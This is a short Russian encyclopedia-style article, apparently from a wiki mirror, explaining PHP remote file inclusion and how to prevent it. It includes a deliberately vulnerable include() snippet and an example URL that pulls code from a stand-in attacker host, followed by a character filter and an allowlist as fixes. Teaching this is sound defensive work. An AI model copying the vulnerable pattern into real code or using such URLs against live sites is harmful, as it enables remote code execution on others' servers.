PHP-инъекция

PHP-инъекция (англ. PHP injection) — один из способов взлома веб-сайтов, работающих на PHP. Он заключается в том, что сайту в качестве входного параметра, указывающего на название модуля, который нужно подключить, передаётся путь к другому файлу, который находится, например, на сайте взломщика. Это становится возможным, если входной параметр принимается без фильтрации и используется в функциях include(), require() или подобных им.


Содержание

Пример

<?
...
$module=$_GET['module'];
include "$module.php";
...
?>

Этот скрипт сильно уязвим, т.к. к содержимому переменной $module просто прибавляется ".php" и по полученному пути подключается файл.

Взломщик может на своём сайте создать файл, содержащий PHP-код (http://hackersite.com/inc.php), и зайдя на сайт по ссылке вроде http://mysite.com/index.php?module=http://hackersite.com/inc выполнить любые PHP-команды.

Способы защиты

Существует несколько способов защиты от такой атаки:

1. Способ

Проверять, не содержит ли переменная $module посторонние символы:

<?
...
$module=$_GET['module'];
if(strpbrk($module,'.?/:'))die('Blocked');
include "$module.php";
...
?>

2. Способ

Проверять, что $module присвоено одно из допустимых значений:

<?
...
$module=$_GET['module'];
$arr=array('main','about','links','forum');
if(!in_array($module,$arr))$module=$arr[0];
include "$module.php";
...
?>

Этот способ является более эффективным, красивым и аккуратным.


Описанная уязвимость представляет высокую опасность для сайта и авторам PHP-скриптов не надо забывать про неё.

 
Начальная страница  » 
А Б В Г Д Е Ж З И Й К Л М Н О П Р С Т У Ф Х Ц Ч Ш Щ Ы Э Ю Я
A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
0 1 2 3 4 5 6 7 8 9 Home